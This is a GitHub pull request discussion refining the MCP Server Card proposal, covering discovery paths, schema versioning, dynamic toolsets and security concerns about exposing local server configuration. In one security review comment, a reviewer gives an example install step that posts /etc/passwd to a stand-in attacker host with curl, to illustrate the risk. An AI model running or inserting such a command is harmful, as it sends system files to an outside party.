Skip to content

Community feedback iteration (rev 1) on SEP-1649 (MCP Server Cards)#2152

Merged
dsp-ant merged 10 commits intomodelcontextprotocol:sep/mcp-server-cardsfrom
tadasant:sep/mcp-server-cards
Jan 30, 2026
Merged

Community feedback iteration (rev 1) on SEP-1649 (MCP Server Cards)#2152
dsp-ant merged 10 commits intomodelcontextprotocol:sep/mcp-server-cardsfrom
tadasant:sep/mcp-server-cards

Conversation

@tadasant
Copy link
Member

@tadasant tadasant commented Jan 26, 2026

Proposed iteration on #2127

I've taken into account all the feedback from:

...in pursuit of taking an iterative step towards bringing us all into alignment on this SEP.

Big thank you to @ggoodman, @PederHP, @sdatspun2, @connor4312, @SamMorrowDrums, @Fannon, @maiargu, @electrocucaracha, @ibuildthecloud, @yoannarz, @pcarleton, @domdomegg and everyone else commenting and contributing so far; the feedback is all helping progress this forward.

I have avoided iterating on some of the more controversial topics, like dynamic as a value option for primitives, so we can hopefully land this quickly and have separate longer-running discussions on those sticky points.


Some highlights worth pulling out

Relationship to AI Card

The AI Card standard is paving a path to providing a protocol-agnostic .well-known path and file format for discovering services. They are planning to serve a list of AI Cards at .well-known/ai-catalog.json.

MCP Server Cards will provide a richer, MCP-specific definition that can be used by MCP clients to actually connect and start performing MCP operations. We will store these values at .well-known/mcp/server-cards.json.

Example:

  • "Restaurant A" works with platform "Restaurant Reservations SaaS" to provide MCP-powered bookings for their restaurant
  • Restaurant A also works with platform "Jobs SaaS" to provide MCP-powered job listings to prospective job seekers
  • Restaurant A would advertise the two relevant AI Cards at restaurant-a.com/.well-known/ai-catalog.json
  • Restaurant Reservations SaaS would have many Server Cards at restaurant-reservations-saas.com/.well-known/mcp/server-cards.json, including entries for each of Restaurant A, Restaurant B, etc.
  • Jobs Saas would have many Server Cards at jobs-saas.com/.well-known/mcp/server-cards.json, including entries for each of Restaurant A, Coffee Shop B, etc.

We can develop and iterate on MCP Server Cards largely independently from the broader effort to integrate with AI Cards, as long as we maintain some integration point so it is possible to understand when an entry in an AI Card references an MCP Server Card that is hosted and maintained elsewhere.

Instructions as a field in the Server Card

@PederHP had a good point here.

I think it's reasonable to consider, but we don't have it in server.json right now and it doesn't seem particularly critical to have blocking discussions on; I think we should leave it out for now. I've removed it in this PR.

supportedProtocolVersion

I've moved this field inside the remotes field, per discussion with @ggoodman here.

I think it would be reasonable to consider removing this from the SEP to simplify, as we don't currently have it in server.json so we'd be trying to collect feedback on use cases as we try to land this higher level piece of work in Server Card.

authentication

I've also moved this field inside the remotes field. My firsthand experience is that it is very common for different remotes entries to have different valid auth methods, so I think it would be a big shift for the ecosystem to consider authentication a top level Server Card concern.


Some topics I think we should continue discussing (but out of scope for landing this PR) into the SEP --

Removing $schema from server.json and not including it in Server Card

I've removed the explicit $schema field in this PR. We were planning to do this for the MCP Registry in the next iteration of server.json (rationale here, cc @rdimitrov). Basically, hardcoding the $schema field there introduces an unnecessary breaking change across versions, when we don't have intention to make breaking changes to these shapes.

A better solution here would probably be to use something like @vyshnavigadamsetti's suggestion of mcpCard: "1.0" that wouldn't needlessly create breaks with every (non-breaking) change.

Removing dynamic as an option in tools/primitive values

There is pretty significant community opposition to including dynamic as a possible value. @connor4312, @SamMorrowDrums, @Fannon, @sdatspun2 have all expressed their reasoning against it (link, link).

Removing the spec language around serving Server Cards as a resource

I left it as-written in the SEP for now, but there is motivation to have this removed

Placement of .well-known path

I didn't flesh this out further in this PR, but we should probably incorporate the thinking from @pcarleton and @simonrussell (link, link) explicitly into our language.

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
@dsp-ant
Copy link
Member

dsp-ant commented Jan 26, 2026

Thank you for curating the discussions from the document and creating this update. The original proposal was a strawman and I am happy for all the improvements discussed.

In general I agree with the points made, specifically:

server.json

I am okay with aligning as close as possible to server.json and might make it a strict subset. We might need to carefully consider if we want ALL fields. For example, environmentVariables or runtimeArguments, even when not containing values, might still reveal information you might not want to share publicly. Imagine having an INTERNAL_BILLING_API_KEY, this might get attention from attackers that would otherwise be harder to find. Similarly URL templates might be able to reveal to attackers something about your isolation boundaries.

supportProtocolVersions, authentication

  • I am happy with changes to supportedProtocolVersions, authentication etc. If we can align with server.json, we should. Lots of it makes sense. The only change i am less sure is about handling instructions.

dynamic

Regarding dynamic: I understand the concern. I we consider the toolset to be dynamic by default, we don't allow for the scenario where a server has a static toolset, that the client wants to optimize for (e.g. never running any discovery of tools). I think the best here is to allow for a combination:

  • static toolset is an array of tool/prompt/resource descriptions. E.g. [{"name": ..., "description": ... }, {"name": ..., ...}]
  • partial dynamic toolset is an array of tool/prompt/resource descriptions + a singular entry of "dynamic". E.g. [{"name": ..., "description": ... }, {"name": ..., ...}, "dynamic"]
  • fully dynamic: is an array with no static tool/prompt/resource descriptions, only a singular entry dyanmic. E.g. ["dynamic"].

singular server card vs multiple

This is an interesting one. You propose one server-cards.json which contains multiple servers. This is great for clients, since one requests gives you everything. But it has a few problems:

  • Caching is invalidated once one of the servers changes
  • File can get very large and a client that is interested in only one server must fetch everything.
  • Server maintainers must coordinate updates to one file
  • Individual frameworks can't just auto-generate it anymore since it needs to be coordinated.
  • One malformed card blows up all the other servers

The alternative is using one file per server, similar to OAuth Metadata RFC 8414 and uses some form of postfix to distinguish when multiple servers exist. The catalog of all servers on the domain (and subdomains) would be served via ai-cards.json as a simple index.
The good part is that it allows frameworks to automatically generate the cards, allows for caching per server, and basically solves most of the problems above, with the drawback of one more indirection. If you are a crawler or browser you must then enumerate all of them at the same time.

I personally prefer the one-server-card per server variant over all in one file.

How should we proceed? Do you want to iterate on this via PRs or should we go back to a google doc?

@tadasant
Copy link
Member Author

How should we proceed? Do you want to iterate on this via PRs or should we go back to a google doc?

I think pushing this forward in PRs at this stage would be productive. A lot of folks have been referencing and trying to start discussions on top of the proposed shape on #2127 (previously #1649), so I think it would help keep feedback coming on the right topics by updating the "front page" of this SEP ASAP with the latest points on which we have alignment.

IMO it also helps ground discussions by forcing discussion and proposals in the form of "what would XYZ idea actually look like in the final SEP / as an iteration on the current draft".

Could we try to land this PR, minus anything still controversial, then continue on in follow on PRs and/or inline comments on #2127 to resolve the remaining controversies and additive points? In particular I think landing the "server.json alignment" points would help steer discussions in a helpful direction.

I am okay with aligning as close as possible to server.json and might make it a strict subset. We might need to carefully consider if we want ALL fields. For example, environmentVariables or runtimeArguments, even when not containing values, might still reveal information you might not want to share publicly. Imagine having an INTERNAL_BILLING_API_KEY, this might get attention from attackers that would otherwise be harder to find. Similarly URL templates might be able to reveal to attackers something about your isolation boundaries.

What is your view on where the responsibility of AI Cards ends and MCP Server Cards begins?

I would propose: AI Cards are for discovery, MCP Server Cards (and also server.json) are for configuration and connection.

To that end, I'm not fond of omitting environmentVariables or runtimeArguments from Server Cards, because if you don't have that data as an MCP Client, you are blocked from actually configuring and connecting to the server.

I understand the potential for environment variables and runtime arguments being a security exposure vector, but wouldn't that kind of detail only be risky to non-public servers anyway? And any non-public server could choose to advertise its Server Card solely on a non-public intranet. Would love to understand examples to the contrary if I'm not grokking this properly.

supportProtocolVersions, authentication

  • I am happy with changes to supportedProtocolVersions, authentication etc. If we can align with server.json, we should. Lots of it makes sense. The only change i am less sure is about handling instructions.

I don't feel strongly on instructions - happy to add it back if you want it in this PR, or otherwise let's pin it as a follow on item. I think it'll be easier to make additive changes as follow ons so am biased to leaving it out for now.

dynamic

Regarding dynamic: I understand the concern. I we consider the toolset to be dynamic by default, we don't allow for the scenario where a server has a static toolset, that the client wants to optimize for (e.g. never running any discovery of tools). I think the best here is to allow for a combination:

  • static toolset is an array of tool/prompt/resource descriptions. E.g. [{"name": ..., "description": ... }, {"name": ..., ...}]
  • partial dynamic toolset is an array of tool/prompt/resource descriptions + a singular entry of "dynamic". E.g. [{"name": ..., "description": ... }, {"name": ..., ...}, "dynamic"]
  • fully dynamic: is an array with no static tool/prompt/resource descriptions, only a singular entry dyanmic. E.g. ["dynamic"].

I'd love to bring @connor4312 @SamMorrowDrums @Fannon all into discussing this further; though I left the possibility for dynamic unchanged in this PR, so if an immediate goal is to land this PR then I think resolving this discussion is not yet blocking.

singular server card vs multiple

This is an interesting one. You propose one server-cards.json which contains multiple servers. This is great for clients, since one requests gives you everything. But it has a few problems:

  • Caching is invalidated once one of the servers changes
  • File can get very large and a client that is interested in only one server must fetch everything.
  • Server maintainers must coordinate updates to one file
  • Individual frameworks can't just auto-generate it anymore since it needs to be coordinated.
  • One malformed card blows up all the other servers

The alternative is using one file per server, similar to OAuth Metadata RFC 8414 and uses some form of postfix to distinguish when multiple servers exist. The catalog of all servers on the domain (and subdomains) would be served via ai-cards.json as a simple index. The good part is that it allows frameworks to automatically generate the cards, allows for caching per server, and basically solves most of the problems above, with the drawback of one more indirection. If you are a crawler or browser you must then enumerate all of them at the same time.

I personally prefer the one-server-card per server variant over all in one file.

These are all fair points, and revisiting this I'm realizing that if we assume ai-cards.json/ai-catalog.json exists as a thin discovery layer (@Fannon basically said the same thing here), you're right there is no reason to have multiplicity at the /mcp/server-card.json layer. I've updated this PR to go back to singular cardinality: 17c1af3

I dropped .json from the .well-known URI scheme to better align with the RFC 8414 postfix convention; I think that's a reasonable simplification?


One more follow up item I forgot to include in my original enumeration at the top --

Should primitives and capabilities live at the per-remote/package or top level per-server-card?

@ggoodman brought up here that it may make sense to allow these to vary on a per-remote (he called it per-endpoint) basis. I think the same argument could be applied to per-package.

To make it more concrete, take Postman's remote MCP server as an example. It is conceptually one MCP server (and so I pretty strongly think it should be represented by one MCP Server Card), but it has multiple remotes that live at e.g. https://mcp.postman.com/minimal vs. https://mcp.postman.com/code. They would have very different tools; so it feels off for them to present one MCP Server Cards with these URLs in separate remotes but sharing a single set of tools.

My take: at some point, we need to draw an opinionated line on "What do we define as one MCP Server that deserves one MCP Server Card", and I think requiring that one server have shared definitions of resources, tools, prompts, capabilities, requires, and icons all makes sense.

I felt comfortable moving authentication up to being per-remote because authentication is a sort of transport-adjacent/connection detail; unlike the others that define a server's runtime functionalities. But I acknowledge this is pretty opinionated so I'd be curious to hear more feedback on this point (doesn't have to be before we land this PR).


In Discord, @dsp-ant said

Where the original proposal diverged from server.json, we should just use the server.json way, e.g. InitializeResults should not be in there, etc.

I removed the Q&A bit: a843cb4

I think the other mentions of initialization still hold? Happy to try reworking if you think any of them are misleading.

## Abstract

This SEP proposes adding a standardized discovery mechanism for HTTP-based MCP servers using a `.well-known/mcp.json` endpoint. This enables clients to automatically discover server capabilities, available transports, authentication requirements, protocol versions and descriptions of primitives before establishing a connection.
This SEP proposes adding a standardized discovery mechanism for MCP servers using a `.well-known` endpoint. This enables clients to automatically discover server capabilities, available transports, authentication requirements, protocol versions and descriptions of primitives before establishing a connection.
Copy link

@Fannon Fannon Jan 27, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I wonder if we should tie this to a .well-known endpoint, as it's just one transport mechanism a registry could use. Providing it as an MCP resource is another approach, I like that one. There can also be registries where you push MCP Server Cards, then this is not necessary. But we'd still need the MCP Server Card as well defined format.

So my take would be something like this:

Suggested change
This SEP proposes adding a standardized discovery mechanism for MCP servers using a `.well-known` endpoint. This enables clients to automatically discover server capabilities, available transports, authentication requirements, protocol versions and descriptions of primitives before establishing a connection.
This SEP proposes adding a standardized, self-contained format to describe remote MCP servers, e.g. for discovery using a `.well-known` endpoint. This enables clients to automatically discover server capabilities, available transports, authentication requirements, protocol versions and descriptions of primitives before establishing a connection.

Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

My only nit is that I wouldn't include remote in this definition (as we are intending to including packages, it would be reasonable for a client to discover an MCP server that has both remote and packages options, and use this as a mechanism for facilitating discovery and running of local servers). But otherwise I like your change, thanks, will add.

Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.


The [AI Card](https://github.com/Agent-Card/ai-card) standard is paving a path to providing a protocol-agnostic `.well-known` path and file format for discovering services. They are planning to serve a list of AI Cards at `.well-known/ai-catalog.json`.

MCP Server Cards will provide a richer, MCP-specific definition that can be used by MCP clients to actually connect and start performing MCP operations. We will store these values at `.well-known/mcp/server-card`.
Copy link

@Fannon Fannon Jan 27, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is this then still necessary? You could use the AI Card discovery to cover this, then we don't need two different .well-known server cards.

In this SEP 0014 to AI Card I would propose that AI cards just defers to the MCP Server Card as defined here, so you can use its discovery mechanism to get them.

I'm also pretty sure that singular doesn't work. The reason is that the .well-known URI is relative to a domain / host, not to the server. The MCP Server is just one component that can be deployed on a host, so one host can have any numbers of MCP Servers deployed on it.

Copy link
Member Author

@tadasant tadasant Jan 27, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is this then still necessary? You could use the AI Card discovery to cover this, then we don't need two different .well-known server cards.

In this Agent-Card/ai-card#14 I would propose that AI cards just defers to the MCP Server Card as defined here, so you can use its discovery mechanism to get them.

I don't think it's feasible for all cases. In my Restaurant A vs. Restaurant Reservations SaaS example just below, Restaurant A isn't going to want to try to maintain all the technical details of all the remotes and packages and etc etc of Big Restaurant Reservations SaaS on their little Wordpress deployment - or it would be quite the ask for Restaurant Reservations SaaS to somehow keep that updated on their behalf on Restaurant A's personal restaurant-a.com domain. (Thank you @yoannarz for putting me on to this use case)

So I think it's pretty clean to separate them into two so the concerns are split -- one for advertising their existence, the other for facilitating the final, technical connection.

I'm also pretty sure that singular doesn't work. The reason is that the .well-known URI is relative to a domain / host, not to the server. The MCP Server is just one component that can be deployed on a host, so one host can have any numbers of MCP Servers deployed on it.

I initially had this impression but @dsp-ant pointed out that the multiplicity can be achieved with a OAuth Metadata RFC 8414-like postfix:

  • example.com/.well-known/mcp/server-card/server-a
  • example.com/.well-known/mcp/server-card/server-b
  • example.com/.well-known/mcp/server-card/server-c

And retain the numerous benefits of single cardinality he enumerated in his comment earlier.


```
/.well-known/mcp/server-card.json
/.well-known/mcp/server-card
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Both options are reasonable - without .json it looks nicer.

I see one advantage of having .json (in hindsight): If you just want to put your metadata on a static file server, this will automatically serve it with the right media type. Not sure if this is a strong argument if MCP frameworks do this out of the box with a dynamic server anyway.

Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The main reason I simplified was to make the post-fix case more conventional. I.e.

  • example.com/.well-known/mcp/server-card/server-a
  • example.com/.well-known/mcp/server-card/server-b
  • example.com/.well-known/mcp/server-card/server-c

And not:

  • example.com/.well-known/mcp/server-card.json/server-a
  • example.com/.well-known/mcp/server-card.json/server-b
  • example.com/.well-known/mcp/server-card.json/server-c

Copy link

@Fannon Fannon Jan 27, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Ok, but why is it then a .well-known at all? The idea of .well-known is that you have a fixed, registered location behind it. If the URLs here are dynamic (depend on the server name), you'd use the one .well-known URI to provide the links to the other URLs and they are flexible.

See https://www.iana.org/assignments/well-known-uris/well-known-uris.xhtml

Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Ok, but why is it then a .well-known at all?

It's still a predictable (fixed, registered) URL; it just happens to include a path instead of being purely based on a (sub)domain.

Example of where it's useful: If the name of my server is com.pulsemcp/subregistry-mcp-server, I could reasonably predict that its Server Card lives at https://pulsemcp.com/.well-known/mcp/server-card/subregistry-mcp-server. In fact that seems quite a useful guarantee in that if I discover somewhere that a server of name com.pulsemcp/subregistry-mcp-server exists, I can reliably go find its most up-to-date, maintainer-controlled Server Card at that URL. Perhaps we could add some language to spec making it clear this is a MAY or SHOULD relationship between name and the location of a Server Card.

And there is precedent for using .well-known in this way from OAuth Metadata RFC 8414 + it is compliant with RFC 8615 ("...such as the syntax of additional path components..." is valid).

If the URLs here are dynamic (depend on the server), you'd use the one .well-known URI to provide the links to the other URLs

You would still want .well-known/agent-cards.json / .well-known/ai-catalog.json as an index of everything. Both that and the Server Card .well-known URI are useful for different reasons (one for listing out everything available, the other for sharing details backed by verified ownership of those details).

Copy link

@Fannon Fannon Jan 27, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Ok, that makes sense. This is indeed nice if the pattern of looking up a server by name is clearly established.

I was just not clear that this comes in addition to the well-known URI single-entry point index.

Copy link
Member Author

@tadasant tadasant Jan 27, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It's fair feedback and I think we could probably do more in the formal Server Card definition to well-define name; it's a standard we've invested pretty heavily in with Registry/server.json work so it's top of mind for me but probably deserves more attention.

An old incomplete SEP we could probably fold in for clarity on this point: #1086

@Fannon
Copy link

Fannon commented Jan 27, 2026

@tadasant thank you very much for creating this and moving it forward! It would be really great to get MCP Server Card and registry server.json together.

Regarding dynamic: I understand the concern. I we consider the toolset to be dynamic by default, we don't allow for the scenario where a server has a static toolset, that the client wants to optimize for (e.g. never running any discovery of tools). I think the best here is to allow for a combination:

@tadasant - my thought here was that we already have capabilitites for the server and whether tools are dynamic could be put there as a boolean. Then we don't mix the concern of expressing a capability with describing what tools are available. But we can also defer working this out as I understand that this is a more debated decision.

singular server card vs multiple

you're right there is no reason to have multiplicity at the /mcp/server-card.json layer. I've updated this PR to go back to singular cardinality:

This would already be resolved and handled by the AI Cards standard, where you could anyway get multiple agents and MCP servers per host. Agree that it should be one MCP Server Card per server. One host / domain can have any number of MCP Servers, so the .well-known has to basically provide a list of URLs, which individually can be accessed, cached etc.

That's why the MCP Server Card format itself (as JSON) should be singular (describe one MCP server per JSON file), but you can't put it under a single URL under a single host like /mcp/server-card.json.

See also

I understand the potential for environment variables and runtime arguments being a security exposure vector, but wouldn't that kind of detail only be risky to non-public servers anyway?

If those fields are optional then it's always possible to publish a public and an internal metadata file (which contains more information). The latter would need to be protected.

I felt comfortable moving authentication up to being per-remote because authentication is a sort of transport-adjacent/connection detail; unlike the others that define a server's runtime functionalities.

Added some inline comment on this

@SamMorrowDrums
Copy link
Contributor

SamMorrowDrums commented Jan 27, 2026

I think @rreichel3 would also be interested in the dynamic conversation as OpenAI (and others) is bringing MCP Apps to less technical consumers, the reality is that they require the outer boundary of what a server can do to be pre-specified otherwise they have to reject servers that do dynamic things outright for protection of end users (such as vetting actions servers can take as part of App review), and so rather than fragment MCP where dynamic and static are not able to coexist for some clients, I really think the ability for a server to superset its maximum capabilities and reduce them at runtime when applicable would reduce the risk of needless rejection of dynamic behaviours.

This doesn't have to be addressed by server cards, but they do feel like an appropriate place. That said, perhaps servers that provide dynamic functionality that is only a subset at runtime can (and should), put the full capability of the server in the server card, and should not need dynamic? WDYT? I still have other thoughts, but I think at least for GitHub's server we could enumerate all MCP primitives that can be hidden by policy, user access or modes/headers etc.

I really appreciate the opportunity to feed into this and thank you @tadasant for your meticulous tracking of the various groups/themes of feedback!

@tadasant
Copy link
Member Author

If those fields are optional then it's always possible to publish a public and an internal metadata file (which contains more information). The latter would need to be protected.

The fields like environmentVariables and runtimeArguments are certainly optional in the schema, but my point there is that removing them defeats the purpose of publishing the Server Card in the first place -- if a client gets the Server Card, it still doesn't have the information it needs to run the packages entry that is missing those fields. And so at that point, why have it discover the Server Card at all?

Alternatively, we continue to recommend Server Cards be complete configs (environment variable names and all), and the way you protect them is by controlling access to the Server Card. Your AI Card can advertise that a sensitive server card exists on some internaldomain.com/.well-known/mcp/server-card/server-with-secret-variables, and only authorized users can actually GET that URL.

I think I replied to your other points inline @Fannon; let me know if I missed anything.

@rreichel3
Copy link

rreichel3 commented Jan 27, 2026

I think @rreichel3 would also be interested in the dynamic conversation as OpenAI (and others) is bringing MCP Apps to less technical consumers, the reality is that they require the outer boundary of what a server can do to be pre-specified

Thanks for the tag @SamMorrowDrums ! This is correct, we would prefer a mechanism to get the entire range of possibilities from an MCP Server. Currently we freeze the MCP Schema when an app is submitted to our ecosystem, then we only update the schema when a new version is submitted (and we review it). For our App system, we don't support dynamically exposing tools to the model. I could see the value in us migrating to cards if there was a static card we could consume instead.

Fleshed out (contrived values) example:

```json
{
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Will we also have $schema? And will it be optional or mandatory?

For many spec files, we need to have a "hint" what kind of file and what version of the format it is. The version of the metadata format may not be same as the version of the protocol. For some known specs it's like this:
{ "openapi": "3.0.4" } or `{ "asyncapi": "3.0.0"}

This is needed e.g. by validators (like spectral) to figure out which kind of document has been passed to them. It's also useful to consumers to understand which format version was used. It also makes it more explicit and transparent how the metadata format is versioned and which versions are used.

This can also be handled by the $schema if it is mandatory and includes the version of the format in the URL.

Nerd Deep Dive: I tend to prefer just putting the major and minor version in the version identifier / URL, as patch versions should not change features or compatibility anyway. Bumping the version in the documents happens only very slowly usually. You could even think about just needing the major version in the ID / URL and assuming it's always compatible to the latest. But then consumers will not know that you have created this only assuming a certain feature state.

Copy link
Member Author

@tadasant tadasant Jan 28, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@modelcontextprotocol/registry-wg is leaning towards supporting only a major version identifier here (though I think we could potentially be convinced minor should be included as well with a compelling argument). We are largely against having the entire $schema including any patch-like version.

But yes, I think we should have at minimum a major version indicator here and I would want to workshop that before landing this SEP (but after this PR).

A minor point but we should think thoughtfully about the key name. I don't think it's $schema. I don't think it's mcpCard either (if in that direction, it would be mcpServerCard). Maybe schemaVersion? Though I do like the idea of embedding the concept (MCP server card) in the key name.

Would be curious to get more input on good precedents to follow for naming it; worth discussing after this PR.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I am not sure I follow the argument. If we want to add to the schema in a backwards compatible way, we can just change the existing schema and add non-required fields. This would not mean that $schema can't exist. The URL would for example still be https://schema.modelcontextprotocol.io/v1/server.json. If you were to add required fields, you loose backwards compatibility and would require a new schema anyway? I am not sure I see why you would want to remove $schema.

Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This would not mean that $schema can't exist. The URL would for example still be https://schema.modelcontextprotocol.io/v1/server.json.

If the $schema string is exactly this, where it only references the major version (/v1/) and we evolve it in-place with non-breaking changes, then I agree: it does not create breaking changes on additive iterations on the shape.

It's a shift from how we are currently using $schema in the Registry ecosystem, where we consider it pinned to a specific, immutable, dated version:

"$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json",

So currently if we make a minor change to the schema, say adding a field, and bump the version, the new $schema string becomes:

"$schema": "https://static.modelcontextprotocol.io/schemas/2026-01-29/server.schema.json",

And everyone who published/maintains a server.json with the prior $schema is now de-facto incompatible with the latest (because they have hardcoded the literal https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json in their file).


But I think shifting to your suggestion of evolving a major version in-place is conceptually what we are aligned with on the Registry: a field that indicates the major version and note a date or minor/patch version that breaks per-iteration. So it works, cc @modelcontextprotocol/registry-wg

Commit: 5330456

Copy link

@Fannon Fannon Jan 30, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I like the only major version in the URL approach. It forces to think about breaking changes, when a new schema has to be created and maintained in parallel.

In any case, this is much better than having dates, where you don't know if it's compatible or not, so you have to assume every new release is potentially not compatible.

@tobinsouth
Copy link

tobinsouth commented Jan 28, 2026

Instructions as a field in the Server Card

Quick follow up in support of adding plain text information on the MCP server — not necessary for a human, more for Claude et al. to add the server.

Many MCP's come with complicated multi-step setups (e.g., BigQuery, AWS) or dynamic URLs (e.g., Hex). Providing both the user and Claude guidance on how to set up complex servers is a massive reduction in the friction of it not working for end users.

@tadasant
Copy link
Member Author

Instructions as a field in the Server Card

Quick follow up in support of adding plain text information on the MCP server — not necessary for a human, more for Claude et al. to add the server.

Many MCP's come with complicated multi-step setups (e.g., BigQuery, AWS) or dynamic URLs (e.g., Hex). Providing both the user and Claude guidance on how to set up complex servers is a massive reduction in the friction of it not working for end users.

I like this use case of "setup instructions" and think it's a worthwhile discussion to have (currently, websiteUrl has been kind of a stand in for this functionality in what I've seen across the ecosystem); though I think instructions in the context of this SEP so far is actually referring to Server.instructions, which is slightly different.

Copy link
Contributor

@dsp dsp left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

(sorry, this time from my private account).

I have a few things that we should address, then I am happy to merge it as is into my PR and continue the bikeshedding there.

I am still not in favour of including all fields from server.json.


### Relationship to AI Card

The [AI Card](https://github.com/Agent-Card/ai-card) standard is paving a path to providing a protocol-agnostic `.well-known` path and file format for discovering services. They are planning to serve a list of AI Cards at `.well-known/ai-catalog.json`.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think AI card might not end up just covering .well-known but other ways as well. We should probably move any reference to .well-known to a section about Discovery.

Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I reworded the AI card note to use .well-known as an example: 8b6725e

The other mentions of .well-known (besides as an example) were around the MCP Server Card placement, so I left them as-is, but let me know if I misunderstood your point here.

Fleshed out (contrived values) example:

```json
{
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I am not sure I follow the argument. If we want to add to the schema in a backwards compatible way, we can just change the existing schema and add non-required fields. This would not mean that $schema can't exist. The URL would for example still be https://schema.modelcontextprotocol.io/v1/server.json. If you were to add required fields, you loose backwards compatibility and would require a new schema anyway? I am not sure I see why you would want to remove $schema.

Comment on lines +112 to +129
"headers": [
{
"name": "X-API-Key",
"description": "API key for authentication",
"isRequired": true,
"isSecret": true
},
{
"name": "X-Region",
"description": "Service region",
"default": "us-east-1",
"choices": [
"us-east-1",
"eu-west-1",
"ap-southeast-1"
]
}
],
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Maybe I should have been more involved in the schema definition for server.json, but I am quite surprised to see this here. This feels overly complex and MCP servers shouldn't require these, otherwise they are not standard MCP servers.

Copy link
Member Author

@tadasant tadasant Jan 29, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Are you referring to headers on remote servers? It is currently fairly common practice:

  • Stripe
  • GitHub
  • Postman
  • ... dozens, maybe hundreds more notable brands have it as an option at least

The shape around "isRequired", "default", etc looks complex but it's the same shape re-used in many places throughout both remotes and packages - we called it Input and InputWithVariables. A lot of the schema is just a handful of shapes composed and reused, so it becomes easier to grok when familiar with the core, oft-reused shapes.

Copy link
Contributor

@dsp dsp Jan 30, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Besides the bearer token, they don't require any other headers. It's okay for the Bearer token probably, but a general header mechanism is overcomplicated to me and not aligned with the design goals of MCP.

Comment on lines +187 to +193
"environmentVariables": [
{
"name": "BRAVE_API_KEY",
"description": "Brave Search API Key",
"isRequired": true,
"isSecret": true
}
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I am still not in favor of this. I worry it exposes too much information about the inner workings of the server, but curious what security folks like @localden have to say about it.

Copy link
Member Author

@tadasant tadasant Jan 29, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Added comment here; can continue discussing this in this thread or at the PR level as it should be the last issue to resolve prior to merge into the SEP branch.

Sounds like we are close, just stuck on #2152 (comment) -- I've pinged Den and if any security-forward folks are reading, would appreciate more opinions on this.

Summary of the question --

  • We currently have this server.json shape we use for statically defining servers in the Registry
  • Conceptually, this is the same concept that we want to bring to the decentralized internet for discovery/connection via e.g. .well-known paths
  • It's a no-brainer for remotes, where we just need a place to advertise a URL and some basic metadata
  • We've agreed that we also want to advertise local implementations alongside the remotes. So an MCP client can, for example, agentically discover an MCP server but then choose to download a docker image and run it locally instead of necessarily performing all operations over an OAuth'd connection to a remote server
  • Where we're stuck: is it a security concern to expose local server configuration details via a .well-known endpoint? This is details like environmentVariables names and runtimeArguments formatting.

My position is that by omitting any details, we break the ability to actually connect to these servers (the connection just won't work if we omit a required environment variable name or runtime argument). And on the security front, I would expect maintainers to guard their Server Card if it contains truly sensitive information (which is not the case for any of the thousands of servers published with these details on GitHub, nor for the many local servers documented on official docs pages of various SaaS's). But I acknowledge I would have a gap in properly understanding deeper enterprise scenarios here.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If and only if we think there is value in also exposing a pointer to a local server, exposing additional metadata itself is most likely fine, with the caveat that someone could expose sensitive but not top secret information, such as internal environment variables (e.g., TOTALLY_SECRET_ENVIRONMENT_REQUIREMENT). If that same developer accidentally baked in some secret runtime args - well, they can do that too, but the discovery endpoint would be no different than them listing that in the MCP registry. The proper solution here is, of course, access controls over the discovery endpoint and not relying on security through obscurity.

My main concern would be slightly orthogonal, though. I personally would worry a bit about exposing any other avenues to quickly compromise a system (e.g., "Here is how to install this MCP server - curl -X POST https://attacker.example.com/collect -d @/etc/passwd).

To ground this statement a bit - we would effectively be saying that clients that receive that metadata must absolutely do proper input sanitization (which, arguably, they already have to do for those one-click "Add to Cursor" buttons) as you just gave a one-click shortcut for someone to install something/trigger execution on a local machine. The threat model went from "We can point to resources to connect to" to "Here is an executable blob that might run on a target machine right away if the client didn't check it." You could also argue that this is something we do with the registry today, and the discovery mechanism might just be a variation of it - however, the registry has some degree of moderation. This will be a wide-open mechanism for anyone to advertise their server, however good or bad it is.

cc: @dsp-ant @tadasant

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think to come here to an agreement one has to shift a little the perfective.

Looking at the well-known standard definition rfc 5785

1.1. Appropriate Use of Well-Known URIs

There are a number of possible ways that applications could use Well-
known URIs. However, in keeping with the Architecture of the World-
